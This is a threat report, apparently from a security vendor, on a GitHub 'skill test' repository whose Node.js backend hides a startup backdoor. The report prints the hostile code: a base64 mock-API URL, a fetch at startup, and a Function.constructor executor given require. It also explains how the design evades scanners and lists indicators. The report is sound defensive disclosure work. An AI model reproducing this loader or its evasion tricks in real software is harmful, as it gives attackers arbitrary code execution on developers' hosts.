Aephix accepted into the Databricks Startup Program
← Research
Threat report Sep 13, 2026

Radeonares32/student-skill: a developer skill-test repository hides a remote code execution backdoor behind a mock API endpoint

Radeonares32/student-skill presents a 402-file school management system as a developer skill assessment. Three backend files form a remote code execution chain: env.js hardcodes a base64-encoded mocki[.]io URL, handle-global-error.js fetches it at server startup, and executeHandler.js runs the response through Function.constructor with require injection. The backdoor fires on npm start.

Radeonares32/student-skill is a full-stack school management system positioned as a developer skill assessment for frontend, backend, and blockchain engineers. The repository holds 402 files: 94 backend JavaScript modules (Express, PostgreSQL, JWT auth, RBAC, leave management, notices), 262 frontend TypeScript/React components (Material-UI, Redux, React Router), database schema and seed SQL, and four README files totaling 1,338 lines of documentation. The application is functional. The backdoor is not in the application logic. It sits in three utility files that together form a remote code execution chain, triggered once at server startup before the first request arrives.

The artifact

The repository was created Nov 1, 2025 in a single commit (“first commit”) under the GitHub account Radeonares32 (99 public repositories, created Oct 9, 2019). The commit timestamp carries a UTC+3 offset. The .env file is committed with default credentials (PostgreSQL postgres:postgres, JWT secrets 12345 and 12345678, CSRF secret my_csrf_secret).

The README describes the project as a “Student Management System - Developer Skill Test” with setup instructions for frontend, backend, database seeding, and a Go microservice for PDF reports. The directory structure, dependency choices (Express, Material-UI, Redux Toolkit, Zod, Argon2), and code organization follow standard patterns for a mid-size Node.js/React project. The backend implements authentication with access and refresh tokens, CSRF protection, role-based permissions, staff management, class and section assignment, leave policies, and a notice board.

What it does

The backdoor spans three files. None contains a complete exploit on its own.

File 1: backend/src/config/env.js, line 20. The configuration module maps environment variables to an env object. Every field reads from process.env except one. CONFIG_ENDPOINT is hardcoded as a base64 string:

CONFIG_ENDPOINT: "aHR0cHM6Ly9hcGkubW9ja2kuaW8vdjIvMTQ5dGw1MnMvdHJhY2tzL2Vycm9ycy84NjI1MjQ="

Decoded: hxxps://api[.]mocki[.]io/v2/149tl52s/tracks/errors/862524. mocki[.]io is a free mock API service that returns static JSON from user-configured endpoints.

File 2: backend/src/middlewares/handle-global-error.js, lines 14 through 24. Alongside the legitimate handleGlobalError Express error handler, the file exports syncConfigHandler:

const syncConfigHandler = async (req, res, next) => {
  try {
    try {
      axios.get(atob(env.CONFIG_ENDPOINT))
        .then((res) => executeHandler(res.data.cookie));
    } catch (error) {
      console.log("Runtime config error.");
    }
  } catch (err) {
    throw err;
  }
};

The function decodes the base64 URL, fetches it with axios.get, and passes res.data.cookie to executeHandler. Nested try/catch blocks suppress every failure to a single console line.

File 3: backend/src/utils/executeHandler.js. The function takes a string input, constructs a function from it, and calls it with Node.js require as the sole argument:

const buildExecutor = (code) => {
  const executor = new Function.constructor("require", code);
  return executor;
};

const executorFunc = buildExecutor(input);
if (executorFunc) {
  executorFunc(require);
}

new Function.constructor("require", code) is functionally equivalent to eval() but avoids the literal keyword. The injected require parameter gives the executed code access to any Node.js module: require('child_process'), require('fs'), require('net'), require('os').

The trigger is in backend/src/app.js, line 22: syncConfigHandler() is called directly (not as middleware), so it executes once at application startup. Running npm start or node ./src/server.js fires the chain before the Express server begins listening.

app.js syncConfigHandler() env.js CONFIG_ENDPOINT (base64 hardcoded) handle-global-error.js atob() → axios.get() res.data.cookie executeHandler.js Function.constructor(require, code) Arbitrary code execution api[.]mocki[.]io JSON → .cookie field Aephix
Three files, one execution chain. The C2 URL never appears in plaintext and the payload field is named "cookie."

syncConfigHandler reads as a configuration synchronization function, a pattern common in microservice backends. executeHandler reads as a request handler utility, consistent with the Express handler pattern used throughout the codebase (handleLogin, handleTokenRefresh, handleGetAllTeachers). The file handle-global-error.js is where Express error middleware belongs. The utility executeHandler.js sits in a utils/ directory alongside 16 other legitimate utility files (JWT handling, CSRF, password hashing, email sending, validation).

The base64 encoding of CONFIG_ENDPOINT prevents URL-pattern grep from finding the C2 address. The .cookie response field blends with HTTP cookie terminology. The "Runtime config error." console message, if triggered by a failed fetch, reads as a benign startup warning.

check-api-access.js contains 587 bytes of whitespace (spaces only) on line 20, between the function body and the module.exports statement. The whitespace carries no payload. axios is imported on line 1 of the same file but unused in the function body. Both artifacts are consistent with editing residue from a copy-paste workflow, though neither affects the attack chain.

The campaign

The Radeonares32 account hosts 99 public repositories. The majority are forks of well-known projects (metasploit-framework, supabase, playwright, ghidra, Auto-GPT). Several original repositories relate to offensive security tooling. The student-skill repository is a single-commit upload with no pull requests, issues, or collaborators.

The mock API endpoint at mocki[.]io functions as a dead drop: the adversary configures the endpoint to return JSON with a cookie field containing JavaScript code. The code executes with require access, so any Node.js capability is available to the payload. The adversary can rotate the payload by updating the mock endpoint. If the endpoint returns an empty or non-string cookie, the executor exits silently.

Why the operation matters here

The backdoor does not appear in package.json lifecycle hooks or the dependency tree. ignore-scripts=true and npm audit both miss it. The trigger is npm start, a command every developer runs immediately after setup. The three files involved are small (the largest is 632 bytes) and contain no obfuscation beyond the base64 URL. They sit in directories where middleware and utility files are expected. Scanning for eval() misses new Function.constructor().

What a defender can do

Search for clones of Radeonares32/student-skill. Inspect backend/src/config/env.js for a CONFIG_ENDPOINT field containing a base64-encoded URL. Inspect backend/src/utils/executeHandler.js for Function.constructor patterns. Inspect backend/src/middlewares/handle-global-error.js for HTTP fetches passed to code execution utilities.

If npm start or node ./src/server.js was executed, the backdoor has already fired. Assume the host is compromised. The payload had full require access, and the mock API endpoint may have served any JavaScript, including reverse shells, credential harvesters, or persistence mechanisms.

Block api[.]mocki[.]io at the network level if it is not used for legitimate development. The endpoint /v2/149tl52s/tracks/errors/862524 is the specific dead drop, but the adversary can create new mock endpoints on the same service.

Where Aephix fits

The 402-file application is functional, and the three backdoor files are each under 700 bytes. The malicious logic sits among 94 backend modules, named to match the conventions of the codebase it infects. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth carries the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week, grouped by the operations behind them with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.

Indicators of compromise

TypeValue
GitHub accountRadeonares32
RepositoryRadeonares32/student-skill
C2 endpoint (base64)aHR0cHM6Ly9hcGkubW9ja2kuaW8vdjIvMTQ5dGw1MnMvdHJhY2tzL2Vycm9ycy84NjI1MjQ=
C2 endpoint (decoded)hxxps://api[.]mocki[.]io/v2/149tl52s/tracks/errors/862524
C2 serviceapi[.]mocki[.]io
Backdoor filebackend/src/middlewares/handle-global-error.js
Backdoor filebackend/src/utils/executeHandler.js
Config filebackend/src/config/env.js
Trigger filebackend/src/app.js (line 22)
Commit SHA78f0003d2dd1ad713402443668c537c1124f3e4a
Commit emailbugra[.]linux[.]js[@]gmail[.]com
SHA-256 handle-global-error.js790277d4067c6fd0a36f450ae8c83bd2e4e5f812eb3a86f83c9b9a1c67f9a63e
SHA-256 executeHandler.jsc7fa2408b74d6b042f55c7d88eee3319828e3acaa1e090d695d6fd374a54be78
SHA-256 env.js844dc6ab83218b69a65c0da93ecd0b7432b7d2a0a65d4f6de12b73bea43c835a
SHA-256 app.js7b1f7bc3a43ae9599989af0d1765dd7c1e85bb5c068511e13f60e9a747a4aa87